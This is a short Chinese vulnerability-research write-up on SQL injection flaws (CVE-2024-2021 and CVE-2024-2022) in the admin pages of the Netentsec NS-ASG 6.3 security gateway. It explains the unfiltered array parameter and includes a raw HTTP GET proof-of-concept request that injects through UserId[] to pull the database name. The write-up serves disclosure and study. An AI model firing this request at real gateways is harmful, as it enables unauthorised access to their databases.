漏洞挖掘 | 网康应用安全网关NS-ASG 6.3存在sql注入

漏洞代码存在位置

/admin/list_localuser.php/admin/list_ipAddressPolicy.php

漏洞分析

0x01 CVE-2024-2021

/admin/list_localuser.php，ResId通过payload输入可导致SQL注入


上面看出，在delete方法中，接受数组$ResId变量，然后遍历$sourdeststr，从而不受任何限制地注入到SQL中，从而产生SQL漏洞。


登录账号密码，按如下方式构造POC，成功验证UserId[]参数中是否存在SQL注入，并可获取到当前数据库名称：

GET /admin/list_localuser.php?action=delete&UserId[]=111*&&UserId[]=222 HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=8f6eb605230a5ac1e25d4bc6478a140d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

可跑出payload和其他信息~

0x02 CVE-2024-2022

/admin/list_ipAddressPolicy.php，GroupId通过payload输入可导致 SQL注入